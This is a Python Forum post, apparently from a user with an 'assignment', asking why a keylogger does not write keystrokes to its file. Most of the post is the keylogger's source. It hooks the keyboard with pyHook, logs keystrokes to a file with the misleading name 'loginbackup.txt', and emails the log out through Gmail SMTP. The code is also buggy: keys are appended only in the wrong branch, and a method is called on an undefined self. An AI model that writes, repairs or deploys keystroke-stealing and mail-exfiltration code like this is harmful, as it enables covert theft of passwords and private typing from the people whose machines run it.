Python Forum
I have an assignment - to create a keylogger
Thread Rating:
  • 0 Vote(s) - 0 Average
  • 1
  • 2
  • 3
  • 4
  • 5
I have an assignment - to create a keylogger
#8
Okay.. Where is problem now?
Without error but keystrokes does not writed to .txt file?

# -*- coding: utf-8 -*-.
import pyHook
import pythoncom
import sys
from threading import Thread
import time
import utils
import smtplib
import base64
from email.mime.multipart import MIMEMultipart
from email.mime.text import MIMEText
import re
 
 
# global parameters
started        = False
keylog         = ''
current_window = ""
filename = "loginbackup.txt"
with open(filename, "w+") as f:
        f.write("Hello! Protocol records:")


def OnKeyPress(event):
        global current_window
        global keylog
        global filename
        
        key = ""
        if event.Ascii == 8:
            key = '[Backspace]'
        elif event.Ascii == 13:
            key = '\n'
        elif event.Ascii == 27:
            key = '[ESC]'
        elif event.Ascii:
            key = chr(event.Ascii)
        else:
            keylog += key

        if len(keylog) > 40:
            f = open(filename, "a+")
            f.write("\n\n")
            f.write(keylog)
            f.close()
            self.sendmail()
            keylog = ''


def sendmail(self):
        global keylog
        global filename
        recipients = ["[email protected]"]
        msg = MIMEMultipart()
        fromaddr = '[email protected]'
        toaddrs = recipients
        msg['Subject'] = 'Test'
        message = ""
        msg.attach(MIMEText(message))
        msg.attach(MIMEText(open(filename).read()))

        mailserver = smtplib.SMTP("smtp.gmail.com", 587)
        # identify ourselves to smtp gmail client
        mailserver.ehlo()
        # secure our email with tls encryption
        mailserver.starttls()
        # re-identify ourselves as an encrypted connection
        mailserver.ehlo()
        mailserver.login('[email protected]', 'xxxx')

        mailserver.sendmail(fromaddr, toaddrs, msg.as_string())

        mailserver.quit()

 
 
new_hook = pyHook.HookManager()
new_hook.KeyDown = OnKeyPress
new_hook.HookKeyboard()
pythoncom.PumpMessages()
Reply


Messages In This Thread
RE: I have an assignment - to create a keylogger - by MartyXO - May-25-2018, 07:17 AM

Possibly Related Threads…
Thread Author Replies Views Last Post
  Keylogger Help Bigsnook 0 1,789 Nov-18-2020, 12:58 AM
Last Post: Bigsnook

Forum Jump:

User Panel Messages

Announcements
Announcement #1 8/1/2020
Announcement #2 8/2/2020
Announcement #3 8/6/2020